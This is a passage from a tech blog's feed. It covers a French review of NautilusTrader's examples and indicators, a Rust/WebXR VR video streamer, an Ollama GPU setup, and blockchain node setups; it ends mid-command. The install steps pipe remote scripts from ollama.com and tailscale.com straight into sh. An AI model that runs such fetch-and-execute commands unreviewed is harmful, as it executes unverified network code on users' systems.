          <td style="text-align: left">08</td>
          <td style="text-align: left">Indicateurs en cascade</td>
      </tr>
      <tr>
          <td style="text-align: left">09</td>
          <td style="text-align: left">Messaging via le message bus</td>
      </tr>
      <tr>
          <td style="text-align: left">10</td>
          <td style="text-align: left">Messaging via un Actor (data)</td>
      </tr>
      <tr>
          <td style="text-align: left">11</td>
          <td style="text-align: left">Messaging via un Actor (signals)</td>
      </tr>
  </tbody>
</table>
<p>Chaque tutoriel a un run_example.py (le lanceur) et un strategy.py (la logique de trading).</p>
<br/>
<p><strong>2. <code>sandbox/</code>: Données live, exécution simulée</strong></p>
<p>C&rsquo;est un mode hybride. On se connectes à un vrai exchange pour recevoir des données de marché en temps réel, mais les ordres sont exécutés dans un simulateur local. C&rsquo;est vraiment parfait pour tester une stratégie dans des conditions réelles sans risquer d&rsquo;argent.</p>
<pre tabindex="0"><code># source binance_spot_futures_sandbox.py

data_clients={
    &#34;BINANCE_FUTURES&#34;: BinanceDataClientConfig(  # &lt;-- Données RÉELLES de Binance
        // ...
    ),
    &#34;BINANCE_SPOT&#34;: BinanceDataClientConfig(     # &lt;-- Données RÉELLES de Binance
        // ...
    ),
},
exec_clients={
    &#34;BINANCE_FUTURES&#34;: SandboxExecutionClientConfig(  # &lt;-- Exécution SIMULÉE
        venue=&#34;BINANCE_FUTURES&#34;,
        starting_balances=[&#34;10_000 USDC&#34;, &#34;0.005 BTC&#34;],
    ),
    &#34;BINANCE_SPOT&#34;: SandboxExecutionClientConfig(     # &lt;-- Exécution SIMULÉE
        venue=&#34;BINANCE_SPOT&#34;,
        starting_balances=[&#34;1_000 USDC&#34;, &#34;0.001 BTC&#34;],
    ),
},
</code></pre><br/>
<p><strong>3. <code>live/</code>: Données live, exécution live</strong></p>
<p>Dans cette section, c&rsquo;est du vrai trading. C&rsquo;est Organisé par exchange, chaque sous-dossier contient typiquement:</p>
<ul>
<li>Un data tester (<code>*_data_tester.py</code>) qui se connecte et affiche les données reçues, sans trader</li>
<li>Un exec tester (<code>*_exec_tester.py</code>) qui teste le passage d&rsquo;ordres réels</li>
<li>Des stratégies (<code>*_ema_cross.py</code>, <code>*_market_maker.py</code>, etc.) qui sont des exemples complets.</li>
</ul>
<br/>
<h2 id="indicateur-disponibles">Indicateur disponibles</h2>
<p><strong>Moyennes mobiles</strong></p>
<table>
  <thead>
      <tr>
          <th>Indicateur</th>
          <th style="text-align: center">Abréviation</th>
          <th>Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>SimpleMovingAverage</td>
          <td style="text-align: center">SMA</td>
          <td>Moyenne arithmétique sur une fenêtre glissante</td>
      </tr>
      <tr>
          <td>ExponentialMovingAverage</td>
          <td style="text-align: center">EMA</td>
          <td>Moyenne exponentielle: pondère davantage les données récentes</td>
      </tr>
      <tr>
          <td>DoubleExponentialMovingAverage</td>
          <td style="text-align: center">DEMA</td>
          <td>Double exponentielle: réduit encore le retard</td>
      </tr>
      <tr>
          <td>WeightedMovingAverage</td>
          <td style="text-align: center">WMA</td>
          <td>Moyenne pondérée linéairement</td>
      </tr>
      <tr>
          <td>HullMovingAverage</td>
          <td style="text-align: center">HMA</td>
          <td>Hull: très réactive avec peu de lag</td>
      </tr>
      <tr>
          <td>AdaptiveMovingAverage</td>
          <td style="text-align: center">AMA</td>
          <td>Kaufman: s&rsquo;adapte au bruit du marché</td>
      </tr>
      <tr>
          <td>WilderMovingAverage</td>
          <td style="text-align: center">RMA</td>
          <td>Wilder: utilisée dans le calcul du RSI</td>
      </tr>
      <tr>
          <td>VariableIndexDynamicAverage</td>
          <td style="text-align: center">VIDYA</td>
          <td>Variable: s&rsquo;ajuste dynamiquement à la volatilité</td>
      </tr>
      <tr>
          <td>LinearRegression</td>
          <td style="text-align: center">LR</td>
          <td>Régression linéaire glissante</td>
      </tr>
      <tr>
          <td>VolumeWeightedAveragePrice</td>
          <td style="text-align: center">VWAP</td>
          <td>Prix moyen pondéré par le volume</td>
      </tr>
  </tbody>
</table>
<br/>
<p><strong>Momentum</strong></p>
<table>
  <thead>
      <tr>
          <th>Indicateur</th>
          <th style="text-align: center">Abréviation</th>
          <th>Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>RelativeStrengthIndex</td>
          <td style="text-align: center">RSI</td>
          <td>Force relative: détection des zones de surachat/survente</td>
      </tr>
      <tr>
          <td>MovingAverageConvergenceDivergence</td>
          <td style="text-align: center">MACD</td>
          <td>Convergence/divergence de moyennes mobiles</td>
      </tr>
      <tr>
          <td>BollingerBands</td>
          <td style="text-align: center">BB</td>
          <td>Bandes de volatilité autour d&rsquo;une moyenne mobile</td>
      </tr>
      <tr>
          <td>Stochastics</td>
          <td style="text-align: center">STOCH</td>
          <td>Oscillateur stochastique (%K, %D)</td>
      </tr>
      <tr>
          <td>CommodityChannelIndex</td>
          <td style="text-align: center">CCI</td>
          <td>Mesure l&rsquo;écart du prix par rapport à sa moyenne statistique</td>
      </tr>
      <tr>
          <td>ChandeMomentumOscillator</td>
          <td style="text-align: center">CMO</td>
          <td>Oscillateur de momentum de Chande</td>
      </tr>
      <tr>
          <td>RateOfChange</td>
          <td style="text-align: center">ROC</td>
          <td>Taux de variation en pourcentage</td>
      </tr>
      <tr>
          <td>AroonOscillator</td>
          <td style="text-align: center">AROON</td>
          <td>Détection de tendance et de sa force</td>
      </tr>
      <tr>
          <td>ArcherMovingAveragesTrends</td>
          <td style="text-align: center">AMAT</td>
          <td>Identification de tendance par croisement de moyennes</td>
      </tr>
      <tr>
          <td>DirectionalMovement</td>
          <td style="text-align: center">DM</td>
          <td>Mouvement directionnel (ADX, +DI, -DI)</td>
      </tr>
      <tr>
          <td>PsychologicalLine</td>
          <td style="text-align: center">PSL</td>
          <td>Pourcentage de bougies haussières sur une fenêtre</td>
      </tr>
      <tr>
          <td>Swings</td>
          <td style="text-align: center">—</td>
          <td>Détection de points hauts et bas (swing points)</td>
      </tr>
      <tr>
          <td>Bias</td>
          <td style="text-align: center">—</td>
          <td>Écart relatif du prix par rapport à une moyenne mobile</td>
      </tr>
  </tbody>
</table>
<br/>
<p><strong>Volatilité</strong></p>
<table>
  <thead>
      <tr>
          <th>Indicateur</th>
          <th style="text-align: center">Abréviation</th>
          <th>Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>AverageTrueRange</td>
          <td style="text-align: center">ATR</td>
          <td>Mesure de la volatilité moyenne</td>
      </tr>
      <tr>
          <td>DonchianChannel</td>
          <td style="text-align: center">DC</td>
          <td>Canal basé sur le plus haut/bas des N dernières périodes</td>
      </tr>
      <tr>
          <td>KeltnerChannel</td>
          <td style="text-align: center">KC</td>
          <td>Canal basé sur l&rsquo;EMA ± un multiple de l&rsquo;ATR</td>
      </tr>
      <tr>
          <td>KeltnerPosition</td>
          <td style="text-align: center">KP</td>
          <td>Position relative du prix dans le canal de Keltner</td>
      </tr>
      <tr>
          <td>VolatilityRatio</td>
          <td style="text-align: center">VR</td>
          <td>Ratio entre la volatilité récente et historique</td>
      </tr>
      <tr>
          <td>VerticalHorizontalFilter</td>
          <td style="text-align: center">VHF</td>
          <td>Filtre qui distingue tendance et range</td>
      </tr>
      <tr>
          <td>RelativeVolatilityIndex</td>
          <td style="text-align: center">RVI</td>
          <td>Index de volatilité relative</td>
      </tr>
  </tbody>
</table>
<br/>
<p><strong>Volume</strong></p>
<table>
  <thead>
      <tr>
          <th>Indicateur</th>
          <th style="text-align: center">Abréviation</th>
          <th>Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>OnBalanceVolume</td>
          <td style="text-align: center">OBV</td>
          <td>Volume cumulé pondéré par la direction du prix</td>
      </tr>
      <tr>
          <td>KlingerVolumeOscillator</td>
          <td style="text-align: center">KVO</td>
          <td>Oscillateur de flux monétaire de Klinger</td>
      </tr>
      <tr>
          <td>Pressure</td>
          <td style="text-align: center">—</td>
          <td>Mesure de la pression acheteuse vs vendeuse</td>
      </tr>
  </tbody>
</table>
<br/>
<p><strong>Ratio et analyse</strong></p>
<table>
  <thead>
      <tr>
          <th>Indicateur</th>
          <th style="text-align: center">Abréviation</th>
          <th>Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>EfficiencyRatio</td>
          <td style="text-align: center">ER</td>
          <td>Ratio d&rsquo;efficience de Kaufman (signal/bruit)</td>
      </tr>
      <tr>
          <td>SpreadAnalyzer</td>
          <td style="text-align: center">—</td>
          <td>Analyse du spread bid-ask</td>
      </tr>
      <tr>
          <td>BookImbalanceRatio</td>
          <td style="text-align: center">—</td>
          <td>Ratio de déséquilibre du carnet d&rsquo;ordres</td>
      </tr>
  </tbody>
</table>
<br/>
<p><strong>Divers</strong></p>
<table>
  <thead>
      <tr>
          <th>Indicateur</th>
          <th style="text-align: center">Abréviation</th>
          <th>Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>FuzzyCandlesticks</td>
          <td style="text-align: center">—</td>
          <td>Classification des bougies par logique floue (fuzzy logic)</td>
      </tr>
  </tbody>
</table>
<br/>
<blockquote>
<p>Ichimoku est absent 😢</p></blockquote>
<br/>
<h2 id="analyse-dexemples">Analyse d&rsquo;exemples</h2>
<p>Voici la description des exemples de 4 exchanges dans <code>examples/live/</code>:</p>
<p><strong>Binance (7 fichiers)</strong></p>
<table>
  <thead>
      <tr>
          <th style="text-align: left">Fichier</th>
          <th style="text-align: left">Stratégie</th>
          <th style="text-align: left">Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: left"><code>binance_data_tester.py</code></td>
          <td style="text-align: left">DataTester</td>
          <td style="text-align: left">Connexion data-only, affiche quotes/trades/bars/book. Pas de trading.</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>binance_spot_ema_cross.py</code></td>
          <td style="text-align: left">EMACross</td>
          <td style="text-align: left">Croisement EMA 10/20 sur ETHUSDT Spot, ordres de 0.010 ETH</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>binance_futures_testnet_ema_cross.py</code></td>
          <td style="text-align: left">EMACross</td>
          <td style="text-align: left">Même stratégie mais sur Futures testnet (ETHUSDT-PERP), mode hedging</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>binance_spot_ema_cross_bracket_algo.py</code></td>
          <td style="text-align: left">EMACrossBracketAlgo + TWAP</td>
          <td style="text-align: left">EMA cross avec ordres bracket (TP/SL basés sur ATR) et exécution TWAP</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>binance_spot_exec_tester.py</code></td>
          <td style="text-align: left">ExecTester</td>
          <td style="text-align: left">Test de passage d&rsquo;ordres (limit post-only, market IOC). Pas de stratégie.</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>binance_spot_testnet_exec_tester.py</code></td>
          <td style="text-align: left">ExecTester</td>
          <td style="text-align: left">Idem sur testnet</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>binance_futures_testnet_exec_tester.py</code></td>
          <td style="text-align: left">ExecTester</td>
          <td style="text-align: left">Idem sur Futures testnet</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>binance_spot_and_futures_market_maker.py</code></td>
          <td style="text-align: left">VolatilityMarketMaker x2</td>
          <td style="text-align: left">Market making sur Spot ET Futures simultanément (2 exchanges, 2 stratégies)</td>
      </tr>
  </tbody>
</table>
<br/>
<p><strong>Bybit (8 fichiers)</strong></p>
<table>
  <thead>
      <tr>
          <th style="text-align: left">Fichier</th>
          <th style="text-align: left">Stratégie</th>
          <th style="text-align: left">Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: left"><code>bybit_data_tester.py</code></td>
          <td style="text-align: left">DataTester</td>
          <td style="text-align: left">Data-only (LINEAR ou INVERSE)</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>bybit_ema_cross.py</code></td>
          <td style="text-align: left">EMACross</td>
          <td style="text-align: left">EMA 10/20 sur ETHUSDT-LINEAR</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>bybit_ema_cross_bracket_algo.py</code></td>
          <td style="text-align: left">EMACrossBracketAlgo + TWAP</td>
          <td style="text-align: left">EMA cross avec bracket orders et TWAP</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>bybit_ema_cross_stop_entry.py</code></td>
          <td style="text-align: left">EMACrossStopEntry</td>
          <td style="text-align: left">EMA cross avec entrée par stop order et trailing stop ATR</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>bybit_ema_cross_with_trailing_stop.py</code></td>
          <td style="text-align: left">EMACrossTrailingStop</td>
          <td style="text-align: left">EMA cross avec trailing stop en basis points</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>bybit_exec_tester.py</code></td>
          <td style="text-align: left">ExecTester</td>
          <td style="text-align: left">Test d&rsquo;exécution (SPOT/LINEAR/INVERSE/OPTION)</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>bybit_options_data_collector.py</code></td>
          <td style="text-align: left">BybitOptionsDataCollector</td>
          <td style="text-align: left">Collecte les données d&rsquo;options BTC en parquet</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>bybit_request_custom_endpoint.py</code></td>
          <td style="text-align: left">RequestDemoStrategy</td>
          <td style="text-align: left">Démo de requête custom (ticker) toutes les 10s</td>
      </tr>
  </tbody>
</table>
<br/>
<p><strong>OKX (3 fichiers)</strong></p>
<table>
  <thead>
      <tr>
          <th style="text-align: left">Fichier</th>
          <th style="text-align: left">Stratégie</th>
          <th style="text-align: left">Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: left"><code>okx_data_tester.py</code></td>
          <td style="text-align: left">DataTester</td>
          <td style="text-align: left">Spot + Swap, quotes/trades/mark/funding</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>okx_exec_tester.py</code></td>
          <td style="text-align: left">ExecTester</td>
          <td style="text-align: left">SPOT/MARGIN/SWAP/FUTURES/OPTION</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>okx_spot_swap_quoter.py</code></td>
          <td style="text-align: left">SpotSwapQuoter</td>
          <td style="text-align: left">Quote ETH-USDT Spot et ETH-USDT-SWAP simultanément (2 instruments, 1 exchange)</td>
      </tr>
  </tbody>
</table>
<br/>
<p><strong>Interactive Brokers (8 fichiers)</strong></p>
<table>
  <thead>
      <tr>
          <th style="text-align: left">Fichier</th>
          <th style="text-align: left">Stratégie</th>
          <th style="text-align: left">Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: left"><code>connect_with_dockerized_gateway.py</code></td>
          <td style="text-align: left">SubscribeStrategy</td>
          <td style="text-align: left">Connexion via IB Gateway Docker, SPY/ES/CL/EUR.USD</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>connect_with_tws.py</code></td>
          <td style="text-align: left">SubscribeStrategy</td>
          <td style="text-align: left">Connexion via TWS local</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>contract_download.py</code></td>
          <td style="text-align: left">Script utilitaire</td>
          <td style="text-align: left">Télécharge les définitions d&rsquo;instruments (NSE NIFTY50)</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>historical_download.py</code></td>
          <td style="text-align: left">Script utilitaire</td>
          <td style="text-align: left">Télécharge des données historiques AAPL en parquet</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>with_databento_client.py</code></td>
          <td style="text-align: left">SubscribeStrategy</td>
          <td style="text-align: left">Données via Databento + exécution via IB (2 sources)</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>notebooks/bracket_order_example.py</code></td>
          <td style="text-align: left">Bracket order</td>
          <td style="text-align: left">Ordre bracket sur ES futures avec OCO TP/SL</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>notebooks/oca_group_example.py</code></td>
          <td style="text-align: left">OCA group</td>
          <td style="text-align: left">Groupe OCA (One-Cancels-All) sur ES</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>notebooks/spread_example.py</code></td>
          <td style="text-align: left">SpreadTestStrategy</td>
          <td style="text-align: left">Calendar spread ES ou options spread, multi-leg</td>
      </tr>
  </tbody>
</table>
<br/>
<p>Voilà c&rsquo;est tout pour cette première analyse. Je vais maintenant creuser du côté du coeur en Rust, du côté de l&rsquo;arbitrage (en Python et surtout en Rust pour maximiser la latence), des screeners basiques pour trouver des cadeaux à trader et je vais peut être voir si je ne peux pas contribuer sur la création d&rsquo;un indicateur ou stratégie avec Ichimoku. J&rsquo;écrirais sans doute un autre article sur cet outil prochainement car je passe énormément de temps sur le sujet du trading chaque semaine et je ne documente jamais.
Je ne suis pas trader pro mais je regarde presque quotidiennement depuis 4 ou 5 ans des vidéos d&rsquo;analyse technique et je passe très régulièrement des trades sur des CEX. Bref pouvoir combiner 2 passions (Dev avec Rust + Python &amp; trading) c&rsquo;est top.</p>
]]></content>
        </item>
        
        <item>
            <title>Video streaming app for VR headset using rust and webxr</title>
            <link>https://leandeep.com/video-streaming-app-for-vr-headset-using-rust-and-webxr/</link>
            <pubDate>Sun, 15 Feb 2026 21:19:00 +0000</pubDate>
            
            <guid>https://leandeep.com/video-streaming-app-for-vr-headset-using-rust-and-webxr/</guid>
            <description>&lt;p&gt;I have a lot of 360° videos recorded with a 360 camera, and I wanted to be able to stream them from my laptop. I’ve been wanting to experiment with VR app development for a long time, so I built an app using Rust as the backend server and WebXR for the UI.&lt;/p&gt;
&lt;p&gt;The learning curve between WebXR and Unity is much lower for a former frontend developer. I developed PWA apps for about 10 years, from 2009 to 2019, so it was pretty easy for me to pick it up. Having recently built the UI of a social network in React, transitioning to WebXR was seamless. Compared to Unity, the difference is night and day. I gave Unity a shot with no prior experience, and honestly, getting started was tough. Moreover I&amp;rsquo;m not a big fan of C#.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>I have a lot of 360° videos recorded with a 360 camera, and I wanted to be able to stream them from my laptop. I’ve been wanting to experiment with VR app development for a long time, so I built an app using Rust as the backend server and WebXR for the UI.</p>
<p>The learning curve between WebXR and Unity is much lower for a former frontend developer. I developed PWA apps for about 10 years, from 2009 to 2019, so it was pretty easy for me to pick it up. Having recently built the UI of a social network in React, transitioning to WebXR was seamless. Compared to Unity, the difference is night and day. I gave Unity a shot with no prior experience, and honestly, getting started was tough. Moreover I&rsquo;m not a big fan of C#.</p>
<p>In short, I needed an application that would let me stream dozens of 20 to 50 GB 360° videos stored on an external hard drive. So I built one.</p>
<p>I used Rust with Axum as the backend server and WebXR for the UI. The UI performance is surprisingly solid. I honestly expected videos over 50 GB to lag, but they don&rsquo;t. Not at all. With a well-built Rust server behind it, it just flies.</p>
<p>I didn&rsquo;t spend time creating a full 3D environment like a virtual cinema room. WebXR is perfectly capable of that, but I gave myself a strict 5-hour timebox to build everything. So I kept it simple and focused on performance and functionality.</p>
<p>I recorded a video while wearing my VR headset. It’s footage captured from inside the headset.</p>
<br/>
<p>Here’s the result:</p>

    <iframe 
        width="100%" 
        height="400px"
        src="//www.youtube.com/embed/Xk1UJVDj1wo?autoplay=1&mute=1" 
        frameborder="0" 
        allow="autoplay; encrypted-media" 
        allowfullscreen>
    </iframe>


<br/>
<p><img src="/images/vr-video-streaming-app.jpg" alt="image"></p>
<br/>
<p>Here’s the desktop browser version of the interface:</p>
<p><img src="/images/vr-video-streaming-app-on-desktop.png" alt="image"></p>
<p>This is where WebXR really shines. No app store, no recompilation. Just ship it like any web app. You get instant deployment, iteration speed, and all the advantages of the web ecosystem. And so it is compatible with all VR/AR/XR headsets&hellip;</p>
<p>Sure, Unity or Unreal can push performance much further. But for straightforward use cases like streaming and managing videos, WebXR is absolutely sufficient.</p>
<br/>
<p>That wraps up this article. This was just a small project, but it gave me the opportunity to explore WebXR while building something that solved a real personal need.</p>
]]></content>
        </item>
        
        <item>
            <title>Installer et tester Ollama sur Ubuntu avec GPU support</title>
            <link>https://leandeep.com/installer-et-tester-ollama-sur-ubuntu-avec-gpu-support/</link>
            <pubDate>Sun, 25 Jan 2026 12:08:20 +0200</pubDate>
            
            <guid>https://leandeep.com/installer-et-tester-ollama-sur-ubuntu-avec-gpu-support/</guid>
            <description>&lt;p&gt;&lt;strong&gt;Verifier que le GPU est accessible&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;nvidia-smi
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Installer Ollama&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;curl -fsSL https://ollama.com/install.sh | sh
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;Cela va installer:&lt;br/&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;/usr/bin/ollama&lt;br/&gt;&lt;/li&gt;
&lt;li&gt;le service systemd&lt;br/&gt;&lt;/li&gt;
&lt;li&gt;le support CUDA si driver NVIDIA détecté&lt;/li&gt;
&lt;/ul&gt;&lt;/blockquote&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Vérifier l&amp;rsquo;installation&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ollama --version
ollama --info # Pour vérifier GPU visible
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Forcer Ollama à utiliser uniquement un eGPU&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Identifier l&amp;rsquo;ID du eGPU**&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;nvidia-smi -L
GPU 0: RTX 5090 (internal)
GPU 1: RTX 5090 (internal 2)
GPU 2: RTX 4080 (eGPU)
# choisir 2
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;CUDA_VISIBLE_DEVICES=2 ollama run llama3
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo systemctl edit ollama
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Ajoute:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><strong>Verifier que le GPU est accessible</strong></p>
<pre tabindex="0"><code>nvidia-smi
</code></pre><br/>
<p><strong>Installer Ollama</strong></p>
<pre tabindex="0"><code>curl -fsSL https://ollama.com/install.sh | sh
</code></pre><blockquote>
<p>Cela va installer:<br/></p>
<ul>
<li>/usr/bin/ollama<br/></li>
<li>le service systemd<br/></li>
<li>le support CUDA si driver NVIDIA détecté</li>
</ul></blockquote>
<br/>
<p><strong>Vérifier l&rsquo;installation</strong></p>
<pre tabindex="0"><code>ollama --version
ollama --info # Pour vérifier GPU visible
</code></pre><br/>
<p><strong>Forcer Ollama à utiliser uniquement un eGPU</strong></p>
<p>Identifier l&rsquo;ID du eGPU**</p>
<pre tabindex="0"><code>nvidia-smi -L
GPU 0: RTX 5090 (internal)
GPU 1: RTX 5090 (internal 2)
GPU 2: RTX 4080 (eGPU)
# choisir 2
</code></pre><br/>
<pre tabindex="0"><code>CUDA_VISIBLE_DEVICES=2 ollama run llama3
</code></pre><br/>
<pre tabindex="0"><code>sudo systemctl edit ollama
</code></pre><p>Ajoute:</p>
<pre tabindex="0"><code>[Service]
Environment=&#34;CUDA_VISIBLE_DEVICES=2&#34;
</code></pre><br/>
<pre tabindex="0"><code>sudo systemctl daemon-reexec
sudo systemctl restart ollama
</code></pre><br/>
<p><strong>Tester un modèle</strong></p>
<pre tabindex="0"><code>ollama pull llama3
ollama run llama3
&gt; Explique en détail comment fonctionne un eGPU sous Linux
&gt; Explique en détail le fonctionnement interne d’un LLM, en couvrant l’architecture transformer, l’attention, l’entraînement, l’inférence et les optimisations GPU.

# Vérifier les perfs
# watch -n 0.5 nvidia-smi

# Autre modèles 
#   léger:
# ollama pull mixtral:8x7b

#   plus lourd 
# ollama pull llama3:70b &amp;&amp; ollama pull gpt-oss:20b &amp;&amp; ollama pull qwen:14b &amp;&amp; ollama pull wizardlm-uncensored &amp;&amp; ollama pull wizard-vicuna-uncensored:7b &amp;&amp; ollama pull wizard-vicuna-uncensored:13b &amp;&amp; ollama pull wizard-vicuna-uncensored:30b


# Vérifier que le modèle tient en vRAM
nvidia-smi --query-gpu=memory.used,memory.total --format=csv
# Règle simple:
# 7B → ~6–8 Go
# 13B → ~12–16 Go
# 70B → 40+ Go
</code></pre><br/>
<p><strong>Voir les logs</strong></p>
<pre tabindex="0"><code>journalctl -u ollama -f
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Setup a Base full RPC Node</title>
            <link>https://leandeep.com/setup-a-base-full-rpc-node/</link>
            <pubDate>Thu, 01 Jan 2026 23:59:00 +0200</pubDate>
            
            <guid>https://leandeep.com/setup-a-base-full-rpc-node/</guid>
            <description>&lt;p&gt;In the article we are going to see how to setup a Base full RPC node.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;setup-base&#34;&gt;Setup Base&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Clone project&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;git clone https://github.com/base-org/node.git base-node
cd base-node
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Configure node&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cp .env.mainnet .env
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Edit the config &lt;code&gt;vim .env&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;OP_NODE_L1_ETH_RPC=http://eth-l1:8545
OP_NODE_L1_BEACON=http://eth-l1-beacon:5052
OP_NODE_SEQUENCER_ENABLED=false
OP_NODE_P2P_STATIC=http://...
# Optionnel: RPC host/port
OP_GETH_HTTP_ADDR=0.0.0.0
OP_GETH_HTTP_PORT=8545
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Run node&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;docker-compose pull
docker-compose up -d
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Verify&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;docker-compose ps

curl -X POST http://localhost:8545 \
  -H &amp;#34;Content-Type: application/json&amp;#34; \
  -d &amp;#39;{
    &amp;#34;jsonrpc&amp;#34;:&amp;#34;2.0&amp;#34;,
    &amp;#34;id&amp;#34;:1,
    &amp;#34;method&amp;#34;:&amp;#34;eth_blockNumber&amp;#34;,
    &amp;#34;params&amp;#34;:[]
  }&amp;#39;

docker-compose logs -f
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>In the article we are going to see how to setup a Base full RPC node.</p>
<br/>
<h2 id="setup-base">Setup Base</h2>
<p><strong>Clone project</strong></p>
<pre tabindex="0"><code>git clone https://github.com/base-org/node.git base-node
cd base-node
</code></pre><br/>
<p><strong>Configure node</strong></p>
<pre tabindex="0"><code>cp .env.mainnet .env
</code></pre><p>Edit the config <code>vim .env</code>:</p>
<pre tabindex="0"><code>OP_NODE_L1_ETH_RPC=http://eth-l1:8545
OP_NODE_L1_BEACON=http://eth-l1-beacon:5052
OP_NODE_SEQUENCER_ENABLED=false
OP_NODE_P2P_STATIC=http://...
# Optionnel: RPC host/port
OP_GETH_HTTP_ADDR=0.0.0.0
OP_GETH_HTTP_PORT=8545
</code></pre><br/>
<p><strong>Run node</strong></p>
<pre tabindex="0"><code>docker-compose pull
docker-compose up -d
</code></pre><br/>
<p><strong>Verify</strong></p>
<pre tabindex="0"><code>docker-compose ps

curl -X POST http://localhost:8545 \
  -H &#34;Content-Type: application/json&#34; \
  -d &#39;{
    &#34;jsonrpc&#34;:&#34;2.0&#34;,
    &#34;id&#34;:1,
    &#34;method&#34;:&#34;eth_blockNumber&#34;,
    &#34;params&#34;:[]
  }&#39;

docker-compose logs -f
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Near Protocol full RPC Node behind CGNAT</title>
            <link>https://leandeep.com/near-protocol-full-rpc-node-behind-cgnat/</link>
            <pubDate>Thu, 01 Jan 2026 23:19:00 +0200</pubDate>
            
            <guid>https://leandeep.com/near-protocol-full-rpc-node-behind-cgnat/</guid>
            <description>&lt;p&gt;In the previous article we saw how to setup a Near protocol full RPC node. The node will sync only if you are not behind a firewall or behind a network like a CGNAT (the UDP P2P port has to be exposed). In this article we are going to see how to have Near protocol node synchronized behind Starlink (I.E. behind a CGNAT).&lt;/p&gt;
&lt;p&gt;We are going to use a tiny VPS that will act as proxy UDP proxy (or P2P tunnel).&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>In the previous article we saw how to setup a Near protocol full RPC node. The node will sync only if you are not behind a firewall or behind a network like a CGNAT (the UDP P2P port has to be exposed). In this article we are going to see how to have Near protocol node synchronized behind Starlink (I.E. behind a CGNAT).</p>
<p>We are going to use a tiny VPS that will act as proxy UDP proxy (or P2P tunnel).</p>
<pre tabindex="0"><code>Local Node (Starlink)
        ^
        |  UDP P2P to VPS
        |
VPS Relay (1 Go RAM, Public IP)
        ^
        |  UDP P2P to Mainnet NEAR nodes
        |
     NEAR Mainnet
</code></pre><br/>
<h2 id="vps-setup">VPS setup</h2>
<p>The VPS listen to 24567 and redirect to the local node via a SSH reverse tunnel and tailscale</p>
<pre tabindex="0"><code>curl -fsSL https://tailscale.com/install.sh | sh &amp;&amp; sudo tailscale up --auth-key=tskey-auth-...-... --advertise-exit-node
tailscale status
